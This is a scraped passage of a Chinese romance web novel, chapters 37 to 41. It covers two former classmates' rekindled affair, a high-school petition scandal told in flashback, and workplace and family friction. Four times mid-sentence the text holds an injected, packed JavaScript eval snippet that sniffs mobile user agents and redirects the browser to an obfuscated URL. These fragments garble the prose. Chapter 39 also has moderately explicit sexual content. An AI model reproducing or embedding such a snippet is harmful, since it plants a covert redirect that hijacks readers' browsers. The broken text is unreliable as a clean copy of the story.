乔迦茵不怎么提起家里的事情,连宋玉津也不知情。一时间大家都意外地看了过来。 她面上没什么情绪,倚靠在座椅中淡淡道:“嗯,不过拉黑大半年之后,我妈就和他离婚了,所以也没什么联系的必要。” 宋玉津诧异道:“你没和我说过啊。” 乔迦茵反问:“有什么好说的?我不觉得这是什么需要拿出来卖可怜的事情,相反我一直很烦他,他们离婚反而让我松了一口气。要是分享这份喜悦好像也不太正常,反正说出来怎么样都无法被理解,索性就不说了。” 别人的家事不便细问下去,盛霏开着车思索道:“不过我家应该是不会……因为我弟弟还在上学。” 原来如此,乔迦茵兴味索然地看向窗外。 是邵允承问的下一句:“所以你家不会离婚?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15007109|157423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “对。”盛霏说,“我妈是那种为了孩子怎么忍让都愿意的人。” 盛霏思维乱飞,很快想起几桩母亲相关的趣事,津津有味地分享起来。话说久了又觉得渴,车上的矿泉水这些天已经被挥霍完,她就嚷嚷着想喝奶茶,说回到上海后在还车前看看有路过什么店,就下去买一杯。 偏偏没有。假期结束,回城的高速略显拥堵,进入市里时,大多数店铺都已打烊。 搜寻持续到还车后,在租车店附近倒有一家连锁奶茶店还亮着灯开业。 宋玉津被派下车买四人份的茶饮,盛霏将车开回租车店,店员验收过后,几人将行李各自取走。 “好可惜,要不是时间太晚,其实我们应该吃个饭再走。”盛霏说。 “这次玩得很开心,下次肯定还有机会的。”邵允承道。 乔迦茵坐在路边的圆墩,双手搭在行李箱把手上,应了一句:“嗯,下次一定。” “啊,我看那边奶茶好像做好了。”盛霏说,“那边几步路就到我家了,我去拿一下就走了,拜拜啊,早点回家你们!” 她在奶茶店那里取茶后还兴奋地向这里摇了摇手,乔迦茵也简单抬手摇一摇回应。 那边宋玉津在等店员打包余下的三杯奶茶。 “我叫的车快到了。”邵允承看了眼手机,对乔迦茵道,“迦茵,你不打车吗?很晚了。” “马上就打。”乔迦茵将手机拿出来。 “到家后记得发个消息。” “嗯,好。” 她以为这话说完就没事了,奇怪的是,青年在她面前微垂着脑袋,看她的眼神认真,似乎还有话要说。 与此同时,店员笑着将打包好的奶茶推过去:“最后一单,我们要打烊了。” 宋玉津也笑一笑道:“谢谢。” “……加油。”邵允承最后憋出了这两个字,随后自己也觉得很丢脸一样,隐约露出了悲愤的神情。 乔迦茵觉得好笑:“知道了,谢谢。” 太尴尬了,邵允承慌慌张张地左顾右盼:“诶,车好像来了,应该就是那辆。”还真是。他对了下车牌号,立刻急匆匆向那边走去。 拎着奶茶袋子的宋玉津迎面而来,两人短暂对话,邵允承取走了他那一杯后,高声说着拜拜快步上了车。 乔迦茵还坐在圆墩上,手指停留在导航界面,没动。 宋玉津提着奶茶向她走过去。 “青提茉莉。”他说,“会过敏吗?” 乔迦茵看着他,说:“不会。” 本来就是她点的。 “那炭培乌龙呢?”他问。 “……” 乔迦茵凝滞了半秒钟,抬眼回答他:“也不会。” 那店员远远喊了一声:“打烊了!”随后,这长长道路上唯一一家亮灯的店无声地暗下去,像被一阵风吹熄的。 宋玉津没怎么犹豫,俯下身吻她。 闭上眼的时刻,乔迦茵确信她听到了一句小声的,“反正你也会觉得这什么都不是。”语气近似抱怨。 真记仇。 38. 第 38 章 乔迦茵还是叫了车。 不过,车子抵达的时候她垂着眼睛后退一步,让宋玉津上了副驾驶。 数日以来熟悉的坐位格局,她坐在后排左侧,和他形成对角线,但凡一方不主动回望,就不会形成对视。 宋玉津生生忍住了回头的冲动,始终看向车窗外的城市夜景,撩乱光影掠过视野,一点没留下印象。他反反复复地想,乔迦茵现在在看着哪里呢? 大概还是像从前他在后座看她的时候一样,以什么都不在意的眼神,侧着头看着别处吧。 他在帮黎远写信的时候就冥冥意识到,也许他无法控制不时向乔迦茵投去的视线,明知会惹她生气还要硬开的小玩笑,对与她有关的一切源源不断的好奇心,这些的背后都指向的那个原因,是他和黎远一样,喜欢乔迦茵。 言不由衷的字句不具有说服力,他写的每一个字,其实投射出的是他未能昭示的那份心情。 但与此同时他又认为,这所谓的一点喜欢,是青春期旺盛荷尔蒙下催生的浅薄好感,很快就会过去。即便旁观着乔迦茵和别的男孩玩着猜猜看的暧昧游戏时,非常的不爽且郁闷。在乔迦茵不看向自己的时候,犹如地壳震动般混乱的心跳,连自己都无法理解的焦躁、困惑。这些全都会过去。 那时他已经得知双亲在考虑分居的议题,而他母亲有带他去往异国读书生活的意图。明里暗里被打探过几回,宋玉津索性在饭桌上明确说了,他会跟着母亲。大约在那时,双亲意识到了他是个很快就会成年的孩子,理应参与到讨论中来。接下来的一切流程、手续,进度也会即时同步给他。爱情就像丑闻、税收、法律合同,具备自己的时效性,更何况他对乔迦茵只是一份浅薄的喜欢。 乔迦茵贪新鲜爱玩,不会对人或事真正上心,一旦和她隔着汪洋大海,他很快就会被遗忘。 对于宋玉津而言,既然所有人都心意已决,无非是等待靴子落地。 但他没想到的是,它落地的时分并不恰当。 坦白说,那封请愿信虽然出自他之手,但现在要再回想,内容几乎是丝毫想不起来了,人的记忆往往比自己以为的还要更不可靠一点。在那个夜晚将它贴到会议室门口之后,宋玉津设想过几种可能,或许它很快会被无视、丢弃,又或许被触怒的校长或其他老师会前来警告学生,万分之一的概率,学校真的会有所改变。 他和乔迦茵都没想到的是,这封信虽然很快被不知道谁撕去,却有人将它传上了网络,在本市的学生圈子内引起轩然大波,一是明雅开放的校风在本市多年来声名远扬,外校学生见这一变故纷纷表示惊讶,又有几分唇亡齿寒之感,二是许多毕业的前辈们刷到后对请愿信的内容表态支持。 学生们流传什么,教师们就会流传什么。这一下就传遍了本市的高中师生网络。 发布的账号是小号,对应不上任何一个学生的信息,但无疑是明雅自己的学生——因为是通过明雅的诸多个学生们转发出来的声势,但□□动态难以溯源,谁也说不清楚最初是从哪里看到的。教导处招来学生会的学生们询问未果,又将请愿信前面的十几个名字点过来逐一询问,是谁写的,谁出的主意,谁发到的网上。 那封信上没有留宋玉津的名字,他也有意要签,被其他人劝住,怕老师从中看出起草人。因而这些对话,他都并不知情,只听乔迦茵提了一嘴。 “很严厉吗?”宋玉津有点担忧地问,“凶你们了?” 乔迦茵淡淡道:“无非是嗓门比较大。” 她感觉只是例行问话,大家彼此默契地没说任何人的名字,都是一副装茫然无知的模样,教导主任警告了几句后,也没有再追究到底。 何况,比起前两个问题,教导处似乎更关心网络上的那个账号,想要联系学生删帖,也认为这个学生在主观意图上,有抹黑学校名声的倾向。 这账号的主人,他们是真不知道,这点不是伪装。 而学生处联系宋玉津和其他学生会成员们开了两次会,同意了适当折中的方案,不会彻底裁撤学生会,而是形式上保留学生会及部分部门的存在,但工作内容和组织形式都要重新按照新校长的意图更改。 这在当时,已经是宋玉津眼中比预想更好一些的结果。 本来这件事,到这一步,差不多就该揭过一页。 ——直到王佳萱向闫倩检举,那个源头发布账号是乔迦茵的小号。 闫倩个人很赞同新校长上台后主张的互相检举一说,她认为能够给到学生适当的处罚,同时作为老师,又能进一步地了解学生。 王佳萱这么一提,她当即就微笑起来,轻言细语地说:“佳萱,你愿意主动向老师告知这件事,真的非常了不起。详细说说看吧,能告诉老师你是怎么知道的吗?你有那个账号的好友?” 王佳萱摇了摇头,但语气确定:“我知道就是她。” 她说完,紧张地快速看了一眼闫倩。 闫倩并不觉得失望,依旧是饶有兴致地说:“那就叫乔迦茵过来,我们问问她吧。” 乔迦茵以为闫倩晚自习喊她来办公室,是要聊些有关高考的话题,瞥见王佳萱时还颇觉意外。 不过,等她听完闫倩找她的目的之后,浮上心头的第一感觉是匪夷所思。 “为什么会觉得是我?”她冷冷地问,“有证据吗?” 闫倩闻言,自然而然地望向王佳萱。乔迦茵便循着这道视线也看过去。 乔迦茵表情冰冷,眼神也凶狠,王佳萱和她对上视线时,心里猛烈地跳了一下,吸了一口气让自己镇定下来,随后说:“我有。” 她说,那个账号的头像是一个国外女演员,在国内并不那么知名,但乔迦茵此前分享过观看她代表作电影的动态,给了五星好评。 乔迦茵当场冷笑了起来,这理由太牵强了。 “账号头像是女演员的照片?”乔迦茵说,“我所有社交媒体的账号头像,都是我自己或者我的标志物,我不会用任何其他人的照片作为自己的头像。” 她对着王佳萱道:“又不是只有我能看电影,可能这个账号的主人也喜欢呢。要是我现在给你放一遍,明天是不是就可以说你是账号主人?” “你这是胡扯,那个电影特别恶心……除了你还有谁会喜欢?”王佳萱说。 闫倩有些好奇:“是什么电影?” 乔迦茵停顿一秒,报了名字,闫倩直接就在办公桌电脑上输入搜索。 闫倩点进新窗口:“恐怖片?” “cult片。”乔迦茵道。 “什么?” 乔迦茵懒得回答了。 闫倩滑动滚轮,扫过几张剧照和剧情介绍,脸色明显变得凝重。 她似乎忍了一下,还是没忍住,略带嫌恶地说了一句:“……这什么东西?” 王佳萱说:“都说了没有人受得了的,只有变态才喜欢。” 乔迦茵侧眸扫了她一眼,王佳萱闭紧了嘴。 乔迦茵和这两个人没有继续交流的欲//望,双手收进口袋里:“反正我和那个账号没关系,这电影豆瓣影评有几千条,女演员虽然不火,也可能照片在网上传播成通用头像,你还有什么证据?” 王佳萱道:“你是最早一批转发动态的人,我怀疑你就是第一个转发的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15024640|157423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因为那个小号没有加其他同学,所以你自己转发出来,从而传播出去。” 不可能,乔迦茵摇头,懒洋洋道:“我也是转发别人的转发。” “是谁?”闫倩定定看了过来。 6班一个女生,走班上小三门的时候认识的。乔迦茵没多想,差点要直接报出名字,忽然皱紧眉头止住了声音。 ……在那个女生转发之前,还有人转发吗?如果她就是那个账号的主人? 乔迦茵自己是最早一批转发者,如果6班那女孩子不是,她们再找到她,问到之前一个人,顺藤摸瓜总能发现到源头。 她觉得王佳萱和闫倩两个人像跳梁小丑,自以为是。 乔迦茵说:“我不打算告诉你们。” 闫倩问:“乔迦茵,你确定吗?还是说其实并没有这个人的存在,你就是第一个转发?” “这全都是你的猜测。”乔迦茵还是那副十足不配合的态度,视线凉凉地掠过闫倩和王佳萱两人,“实际上你们但凡想想,如果是我想发布这件事,我会亲自用大号实名发布,不怕被你们找到。” 闫倩倏然站起身,一把抓住她肩膀:“既然你这么说,我就不得不上报给教导处了,相信你也可以体谅老师的。” * “停在这里就行,谢谢。” 两道车门关上的声音。 乔迦茵低头在手机上操作,察觉到面前投下一道暗影,宋玉津在离她很近的位置站定。 乔迦茵付完钱,打了五星好评,收起手机,抬眼问:“你有什么问题?” “我有很多问题!”几乎毫不迟疑的回答。 他们还站在乔迦茵小区门口,乔迦茵瞥了眼保安亭,拽着他袖子往里走:“先进去再说,别挡在路中间。” 宋玉津温顺地一路牵到单元楼,进楼上了电梯,乔迦茵才转过头,眼神有些微妙地问:“你应该,不需要我解释接下来要发生什么吧?” 电梯上升的轻微杂音,屏幕上跳动的数字,极近的姿势,她似笑非笑的神情,嫣红的嘴唇,一侧肩膀微微滑落的外套。 宋玉津略感气恼,低声说:“废话。” 他又怕她误会,赶紧补充:“当然不需要。” 电梯抵达,叮的一声打开门。 乔迦茵领着他往右侧拐了个弯,按指纹开锁、换鞋。 听到宋玉津在她身后说:“但我还是想问……你是怎么想的。” 乔迦茵头也没回,从玄关的鞋柜翻出一双备用拖鞋扔给他,说:“有没有一种可能,其实我什么也没想。” 宋玉津在她身后换鞋,边换边说:“我不信。” 乔迦茵被他气笑了,转过身抱着双臂偏头看他:“你什么意思,是希望我多想想吗?那我仔细一想,你还是回自己家去吧,今晚算了。” 宋玉津很认真地问她:“那我们现在这样,算什么?你对我是什么想法?我只是想知道这个。”他顿一顿,没有问出“这算不算喜欢我”这句听上去很蠢的话。 他真好意思问!他还记不记得他是谁的男朋友? 但乔迦茵不想挑破,仿佛承认他们两个行为不正当的事实,也会让她自己感觉低人一等。 她抬手捏住宋玉津的下巴,倾身凑过去,眼睛大而明亮,似乎在彻底地端详他的五官。 宋玉津没作声,喉结上下滚动了一下。 “什么想法呢……”她几近呓语地自问了一句,回答他,“大概只是单纯想要得到你。” 宋玉津垂眸看着她,眼中几种情绪翻涌。 他沉默片刻,似乎是隐隐叹了口气,轻声说:“这个也行。” 39. 第 39 章 宋玉津不会,乔迦茵没耐心,懒得教,导致一开始进行得非常莽撞,磕磕碰碰不断,气得乔迦茵踹了他好几脚。宋玉津不生气,反而一边道歉一边觉得此情此景太有趣而笑了,他那张脸在暗光里笑起来的样子实在很要命,乔迦茵火大的同时又觉得拿他毫无办法,尤其是接吻几次过后,也就错失了发脾气或者反悔的时候。 不过,宋玉津还是展现出了高于平均的学习能力。到后半夜,已是渐入佳境。 “为什么……一直在抖。”他眼神有点涣散,其实根本没过脑子,本能地在张口说话,一句完整的话被自己的呼吸打乱。 乔迦茵死死抓着他的手臂,两个字基本上是从齿缝里挤出来的:“没有。” 宋玉津凑近她耳边,说:“又在抖。” “……没。”她说不出第二个字了,剩下的全是呜咽。 宋玉津语气像是困惑:“里面明明在……” 她哪怕一点微小的反应,他都要说出来,好像在求教,分明是折磨。 乔迦茵缓了一口气,手往他胸膛上一推,泄愤似地狠狠盯着他,眼圈发红。宋玉津和她对视一会儿,像大脑宕机一样着迷地贴过来亲她,不料乔迦茵顺势将他按倒下去。 宋玉津微微睁大眼睛:“……啊?” 乔迦茵掐了他一下。 “你别乱动,我自己——” 她话音戛然而止,后半句说不下去,声音变得支离破碎。 都说了她自己来!宋玉津根本不听。 只能对他怒目而视以表抗议,然而视线都已经有些模糊。而宋玉津又抬起手来揩她的眼泪了,躲也躲不开。 * 整理过后乔迦茵没躺多久,翻身起来,下了床往书桌走。 宋玉津躺在床上看她背影,不解其意,迷迷蒙蒙地问了句:“你怎么走了?” “我要更新下简历。”那女人头也不回地打开电脑,一坐就是敲字。 宋玉津:“……?” 他反应了几秒,才问,“你不睡觉吗?” “弄完再睡。”那个背影冷酷地说,“你可以先睡,晚安。” 乔迦茵重新编辑了一行字,打完才发现身后床上的人迟迟没回复。 真就睡着了?她回过头看了一眼,和抱着枕头的宋玉津对上视线。好嘛根本没睡。 乔迦茵将那一段全部调整完,重新理了一遍格式,合上电脑,回到床上,把夜灯给关了。 “开着灯睡不着?”她在黑暗里低声问他。 “没有。”悉悉索索的声音,是他把她揽进被子里面。乔迦茵稍微挣动了一下,宋玉津小声反问她,“不可以抱着你睡吗?” 乔迦茵沉默,但动作上没有反抗。 宋玉津多多少少察觉到她情绪,还是很小声地说:“不可以就算了……” 乔迦茵反倒翻身过来,仰头看着他。 好近。但是因为黑暗蒙蔽了大部分可见,所以对距离的感知也变得模糊,只能看到她双眼在夜色中闪着光亮。 乔迦茵笑了起来,语带嘲讽道:“很少听到男的提出这个,你自己说这个行为叫什么?” 宋玉津真思考了会:“买椟还珠?” “……我本来要说你得了便宜还卖乖。” 宋玉津立即反驳:“哪有。我哪里卖乖?” “那得了便宜没错吧?” 两个人忽然意识到刚才对话不妥至极,不约而同地安静下来。 宋玉津重新开口道:“我先道歉。这件事情上并不存在椟和珠的比较。” “我的引用也有问题。”乔迦茵说。 “撤回吧。” “撤回。” “睡觉吧。” “睡觉。” 次日是乔迦茵假期过后的第一个复工日,她正常去公司上班。宋玉津离开得比她要早,他有早会,且公司更远。他临出门前披上外套的时候,乔迦茵刚睡眼惺忪地刷完牙出来。 她看他一手搭在鞋柜上换鞋,提醒了句:“没东西落下吧。” 她披着睡衣,顶上两粒扣子没系,松松垮垮地露出一片肩膀和胸口。 “应该没。”宋玉津脑海里过了一遍他随身携带的东西,又想了一下上班需要的物件,基本妥当,瞥她一眼后不假思索地就问,“怎么又过敏了。” 乔迦茵顺着他眼神落点扫了一眼自己肩膀,无语地翻了个白眼。 “你失忆了?这个不是过敏。” 宋玉津:“……噢,噢。”他想起来了,原来是自己搞的。 * 乔迦茵没睡够。本身一整个假期就都在外出游玩,舟车劳顿,消耗心神,昨晚又和宋玉津鬼混到凌晨四点,拢共没睡满五个小时,一到办公室就克制不住地连打四个哈欠。 陈安妮先和她打了招呼:“出去玩了吗?” “嗯,和朋友去玩了一下。”乔迦茵回答的时候,目光下意识掠过对方腹部。 时日还早,看不出什么,不过陈安妮捧着保温杯在喝,桌上整整齐齐是各种保健药品。 早该发现的,乔迦茵暗想,做金融的所有人都对冰美式开工和下班约酒的早C晚A生活方式有奇妙的迷恋,陈安妮以前分明也喜欢凑热闹,比自己要合群得多,不知道哪天起就默默退出了。 陈安妮又问:“见过我那个表弟了吗?觉得人怎么样?” “啊?”乔迦茵在开电脑,愣了一下。 “邵允承。”陈安妮提醒,“之前推微信给你的。他向我反馈还挺好的呢。” “说我挺好吗?”乔迦茵淡笑了一下,不知道怎么评价,“他也人挺好。” 她刚说完,脑海里警铃一响。陈安妮椅子滑过来一些,似乎是来了兴致要和她多聊几句——她可没打算和陈安妮继续分享自己和邵允承的进展,刚好电脑连上网络,企业微信跳了一跳。 乔迦茵果断起身道:“戴总找我,回头再聊。” 戴总是他们组VP,工位在办公室更靠后的区域。不过戴总此时并不在工位上,约她到会议室聊。 上来也是照例先问候了下乔迦茵的假期,实际并不关心,随后主要是接下去的工作安排,分了几个新项目给她,以及目前比较紧要的一些任务需求。 乔迦茵听着问了一句:“函商的项目不是一直都是安妮在跟吗?”函商是老项目,难度不大,按理说不需要再多一个同级别的人手。 “函商这个客户比较难搞,压力大,安妮的情况你也知道,想让你多帮着一点,别让她太辛苦了。”戴总温和道,“我们这行虽然苦, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15050327|157423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不能折磨孕妇。” 所以折磨我,乔迦茵咽下这句。她手头工作量一跃成为全组最多的。 “别担心,刚好我们实习生今天要到了,我会派他来跟你的这几个项目的。”戴总看了眼时间,“应该快了。” “秋招实习生?”她问。 “不是,日常实习生。” 不是应届生的意思,那随时都有可能走。乔迦茵叹一口气,还是说:“行,谢谢您。” 实习生比约定时间到得要晚,来了之后又在HR那里办理手续、领电脑,花去不短的时间,等他找到乔迦茵这边,已经临近午饭。 乔迦茵撑着脑袋,电脑屏幕上开着要改的标书,实际低着头在看手机刚收到的一条消息。 宋玉津:【我们现在是什么关系?】 她以为答案很明显,不懂宋玉津为什么非要问自己。 乔迦茵回复:【一起睡觉的关系】 宋玉津问:【这个频率是每天吗?】 乔迦茵:【?】 宋玉津:【我不太懂嘛】 【不可能每天】 乔迦茵余光瞥见有人过来,快速又打了几个字,【下次再找你】 她直接把手机翻过去,仰头对上新来的实习生。 男生,体型高大,一身潮牌,抱着电脑道:“迦茵姐?我是今天新来的intern谢康年,戴总说让我来帮你做事。” 乔迦茵点点头,问:“以前做过类似的实习吗?” “没有呢。” “那以前在学校里做课程作业,社团之类的,有没有做过数据分析什么的?用wind或者bloomberg。” “好像也没有。” 看来得从头教起,乔迦茵想了下,说:“先吃饭吧,下午我教你帮我拉个数据。” 所有实习生工位在另一边,谢康年离开后,陈安妮凑近过来,低声对乔迦茵说:“新intern吗?你小心点用。” 乔迦茵心念转了转,没出声,比了个口型问:“VIP?” 陈安妮点了头,“很V,得罪不起。” 还以为是戴总好心,结果送来的原来是烫手山芋。乔迦茵拿起手机,就见陈安妮给自己微信发了一个领英界面的截图,是谢康年的。 不知名本科,不知名海外硕士,唯一一段实习经历是游艇相关。 乔迦茵回了一个句号,表示懂了。 那边宋玉津还在给她发消息,如同一个初闯成人世界的清澈直男。 宋玉津:【那什么时候是下次啊?】 宋玉津:【每次都得去你家吗?我觉得来我家也可以,我家很干净的】 宋玉津:【考虑一下吧】 烦,乔迦茵一焦躁又想拉黑他。 昨晚这件事完全是一时冲动,她原本打算就这么一次的,但体验确实远超预期,现在才不明不白地给宋玉津留了一个所谓的“下次”。但是否真的要有下次,又是什么时间,她自己都没有想清楚。至少有一点是毋庸置疑:她没准备让她和宋玉津形成一段多么正式的关系。 简而言之,乔迦茵希望她本就鸡飞狗跳的生活保持原状不变,而她对介入宋玉津的个人生活这件事也毫无兴趣。 去他家?一百年后再说吧。 40. 第 40 章 打脸来得猝不及防。 在乔迦茵腹诽完“一百年后”的不久,可能仅20天都不到的某一日,她言简意赅地发了仅含日期时间的消息给宋玉津,而对方极为上道地答复了一句精确无误的“有空”,乔迦茵心情无比沉痛,但还是发了下一句话:“去你家吧,我家不行。” 事情要从一通电话说起。 时间倒回宋玉津早晨从乔迦茵家离开的同一日晚上,乔迦茵下班后将电脑和包扔在客厅,独自在卧室细致检查家里有没有任何宋玉津留宿而留下的痕迹——满意地发现没有,随后接起了她母亲的电话,得到了一个不啻于晴天霹雳的消息。 “你表妹,那个贺白晓,记得吗?她这学期要到上海实习,我让她来你家住几个月。” 乔迦茵问:“为什么?她不自己租房子住?” 乔慕女士在电话那头不耐烦道:“她实习工资能有多少,也就三四千,在市区租个房子基本不剩了啊,你做姐姐的大方一点,而且你那个房子不是有沙发床吗?” “让她住你家去。” “啊?”没听清。 “让她住你家去,别住我这。”乔迦茵道。 乔慕这才反应过来她说的“你家”是哪个:“什么我家,那是我们家!你不也要回来住的吗?贺白晓她上班在五角场,我们家过去太远了,你那边稍微好一点。” 乔迦茵说:“问题是我讨厌她。” 乔慕不悦道:“胡说什么?都是亲戚,你和她是同辈,也就比她大个两岁,怎么就讨厌了?” “我从小就讨厌她,你一直不知道才很奇怪。” 乔慕怔了一下:“有这回事?什么时候开始的?” “我小学的时候,春节你不想回老家,但是把我扔过去了。”乔迦茵冷漠道,“然后她说你和爸爸都不回家过年,是因为你们两个生出来的小孩,也就是我,太讨厌了,没有人想带我。” 在乔慕沉默片刻后,乔迦茵又补上后一句:“然后我把她按在地上暴打一顿,直到被外公制服。” 乔慕还是停顿了一下,随后快速说:“不管怎么样,这件事都已经过去很久了,贺白晓肯定不记得,我让她住你家里她也是满口答应,人家这些年也长大了,你多看顾一下。好了我先去忙,有什么事你发消息。” “……”可是贺白晓应该也蛮讨厌她的。乔迦茵没来得及反驳,通话已经被挂断。 她面色怏怏地放下手机,尽管已经猜到结果,心情仍旧不快。 乔慕这人说一不二,工作上雷厉风行,生活上行事独断专行,乔迦茵那股不把任何人放在眼里的劲和她一脉相承。实际上正由于母女二人都极其自我,习惯了独自决定一切,多年以来她们之间都是一种陌生疏离的氛围,比起母女更像同事,还是关系一般的那种。 成年以前,乔迦茵一年里和乔慕说上话的次数屈指可数,尽管居于同一屋檐下,但乔迦茵高中寄宿,乔慕早出晚归又频繁出差,周末偶尔打上照面,一个忙着学习,另一个忙着工作,寒暄两句就各自离开。乔迦茵大学考到外省,十天半个月打一次电话汇报自己没死,交流反而算得上变多一些。 其实当初,被王佳萱莫名其妙地检举以及闫倩兴风作浪地拉到教导处之后,在面对看似无所顾忌的乔迦茵时,教导主任打了一通电话给乔慕。 大晚上的,教导主任本来都在收拾东西准备下班了,谁料到突然杀出这么件事。校长要求网络账号散播舆论的事情要严查,但她做了这么多年头教师,知道学生网络上这些事本就是可大可小,既然没有人愿意说,等时间久了自然轻轻揭过,偏偏闫倩像个愣头青一样非要带着个学生过来指认,亲自领到教导处了,她又不能不管。 偏偏是乔迦茵,按照这学生一贯天不怕地不怕的样子还真有可能。但她除了入学第一次考试以外从没掉出过年级前十,妥妥顶尖名校的料子,即便校长说要严惩,也不可能真的让她背处分。 教导主任开口先问:“乔迦茵,你认识到自己的错误了吗?” 乔迦茵说:“不是我做的。” 闫倩急切道:“分明就是她,我这边有另一个学生可以作证——” 吵!教导主任挥了挥手,不想听,继续对乔迦茵道:“其实这件事我也可以理解。学校新出了一些改动,你们学生有情绪是正常的,但是问题在于,我们怎么样去处理和控制这些情绪,哪些手段是可以用,哪些是不可以的,我希望你能明白。” 乔迦茵还是那句:“不是我做的。” 闫倩跺脚了,声音愈发尖锐:“你还狡辩!佳萱都说了——” “闫老师你先出去吧。”教导主任实在受不了她了,转头道,“这里有我就行。” 乔迦茵目送着闫倩离开,回过头来,面色不改,问:“我什么时候可以走?” “你问这个?”教导主任被气笑了,“你根本没认识到错误,你站在这里听我说。” “不是我做的我认识什么。” “不是你,那你说说是谁?”教导主任反问她,“这什么信,这些事我一看就知道是你和那几个学生会学生们整出来的,账号肯定也是你们之中谁的,你既然说不是你,那你给我一个名字。” “……” 教导主任看她还是那副冷淡样子,隐约还像在翻白眼,火气直冒:“我是拿你没办法了,我会直接通知你家长!” 直到这会儿,乔迦茵那副犹如凝固不变的冷嘲神色才隐约现出一丝裂痕来,看向她的眼睛里浮上几缕茫然无措。 果然还是要这招,毕竟还是个孩子,主任在心中暗想,确实除了这,也没法管教乔迦茵了。 她从系统里调出乔迦茵家长联系方式,动作利索地打了过去。 乔慕接得很快:“您好,哪位?” “乔迦茵妈妈是吗?我是明雅中学的教导主任。”主任将事情来龙去脉快速讲了一遍,强调了乔迦茵抹黑学校的严重性,以及长此以往乔迦茵在校园里的行为不端问题,包括公然使用手机、叫外卖、晚归寝室、和男同学交往过密等等,最后还重点提到目前毫无悔改之意,态度极其恶劣。 乔慕听完后,丢过来三个字:“所以呢?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15055870|157423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “嗯?” “所以呢,学校希望家长这边做什么?” “当然是希望家长能注意这些方面,严加管教,毕竟我们教书的终点还是育人,一个学生即使成绩再好,人品道德上有污点……” 乔慕道:“我没空。没有其他事的话先挂了。乔迦茵最近一次考试没掉出年级前三十吧?” “……没。”是年级第二。 “那就行。”这是这一通话的最后三个字,其余就只剩下忙音。 全程教导主任都开了免提,通话结束后,她抬眼一看,乔迦茵没什么表情,但嘴唇抿了起来。 这回倒是不笑了,看来是真的不太开心。但教导主任比她更不爽。 主任还是想了个办法出来。 她点了点桌子:“你留在这里写一份一千字检讨,周一升旗的时候在司令台朗读,今晚写完了再回寝室。” “这不算晚归?”乔迦茵安静一会儿,问。 教导主任道:“我会和宿管说。” “也行。” 也行什么也行,没和你商量的意思!主任立即收拾东西走了,免得被这学生气死。 教导处除了她空无一人。 乔迦茵独自在办公桌边,对着白纸静坐了半晌,没写出一个字。 * “和表妹住也没有那么可怕吧。”宋玉津将汤面分离的外卖盒打开,将面倒进滚烫的汤里,推给桌子对面的乔迦茵。 “我妈也是这么说的。”乔迦茵说,“结果她一搬来我家就吃了整整一周的螺蛳粉,我根本没办法在家进食。” 宋玉津习惯将每个人往善良的一面想:“也许她只是吃了一顿,不幸的是味道一周没消。” “不是,是每天都在吃。”乔迦茵道,“因为她连外卖盒都不扔,全部堆在我家的餐桌上。” 宋玉津点头:“你猜得没错,她确实讨厌你。” “或者她只是一个卫生习惯极其糟糕的巨婴。” 乔迦茵说完这句就低头吃面,宋玉津在对面撑着下巴看了她一会儿,笑了。 他问:“我不记得你是这么好脾气的人啊?怎么不直接暴打她一顿了?” “我过的什么日子,我每天晚上十点以后才下班,大部分时候在家还要加班,现在白天还打游击一样地出门面试……我没有那个体力暴打她这种无忧无虑的女大学生。”乔迦茵说,“说不定要被她反杀,想不到比这更加屈辱的死法。” “咦,你现在在面试了?” “废话,那天改完简历后一直在投。”协助她打游击的人还是陈安妮,说到这个就心情复杂。乔迦茵不愿意多谈了。 宋玉津思索了一会儿,说:“我有一个问题。” “问吧。” 于是宋玉津问了。 “你约了今天来找我,究竟是因为真的想找我,还是只是为了逃离你表妹?” 乔迦茵筷子微微一顿,瞟了他一眼。 从这一个停顿里宋玉津已经得到答案,他一时气结:“你还真的是……早知道我不问了。” 41. 第 41 章 乔迦茵吃完面,将外卖盒子盖好收拢,放回原本的塑料袋里,顶上打了个结,宋玉津很顺手地起身拎出去扔掉。和以前在高中吃完外卖的流程一模一样。 